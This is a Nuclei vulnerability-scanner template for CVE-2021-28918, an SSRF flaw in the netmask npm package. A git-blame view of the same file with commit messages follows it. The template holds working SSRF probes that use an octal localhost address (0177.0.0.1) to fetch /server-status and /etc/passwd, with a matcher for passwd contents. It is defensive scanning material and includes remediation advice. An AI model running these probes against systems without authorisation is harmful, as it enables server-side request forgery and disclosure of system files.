nuclei-templates/http/cves/2021/CVE-2021-28918.yaml

id: CVE-2021-28918

info:
  name: Netmask NPM Package - Server-Side Request Forgery
  author: johnjhacking
  severity: critical
  description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
  remediation: |
    Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.
  reference:
    - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
    - https://github.com/advisories/GHSA-pch5-whg9-qr2r
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28918
    - https://github.com/rs/node-netmask
    - https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-28918
    cwe-id: CWE-704
    epss-score: 0.02788
    epss-percentile: 0.89291
    cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 3
    vendor: netmask_project
    product: netmask
    framework: node.js
  tags: cve,cve2021,npm,netmask,ssrf,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Apache Server Status"
          - "Server Version"
        condition: and

      - type: regex
        regex:
          - "root:.*:0:0:"
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`id: CVE-2021-28918`

			`info:`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`name: Netmask NPM Package - Server-Side Request Forgery`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`author: johnjhacking`
minor update 2021-07-06 07:11:16 +00:00			`severity: critical`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.`
few fixes 2021-09-03 07:40:35 +00:00			`reference:`
Update CVE-2021-28918.yaml 2021-09-03 07:44:24 +00:00			`- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md`
			`- https://github.com/advisories/GHSA-pch5-whg9-qr2r`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-28918`
Auto Generated CVE annotations [Wed May 18 21:10:42 UTC 2022] :robot: 2022-05-18 21:10:42 +00:00			`- https://github.com/rs/node-netmask`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.1`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-28918`
Added EPSS Percentile 2023-08-31 11:46:18 +00:00			`cwe-id: CWE-704`
			`epss-score: 0.02788`
			`epss-percentile: 0.89291`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:netmask_project:netmask::::::node.js::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 3`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: netmask_project`
			`product: netmask`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`framework: node.js`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`tags: cve,cve2021,npm,netmask,ssrf,lfi`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"`
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks! 2021-09-03 04:48:24 +00:00			`- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"`
			`- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"`
minor update 2021-07-06 07:11:16 +00:00
few fixes 2021-09-03 07:40:35 +00:00			`stop-at-first-match: true`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
few fixes 2021-09-03 07:40:35 +00:00			`matchers-condition: or`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`matchers:`
			`- type: word`
Fixing Trailing Spaces As stated. 2021-07-06 07:05:03 +00:00			`part: body`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`words:`
			`- "Apache Server Status"`
Update CVE-2021-28918.yaml Fixing trailing spaces. 2021-07-06 07:03:18 +00:00			`- "Server Version"`
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks! 2021-09-03 04:48:24 +00:00			`condition: and`
few fixes 2021-09-03 07:40:35 +00:00
			`- type: regex`
			`regex:`
			`- "root:.*:0:0:"`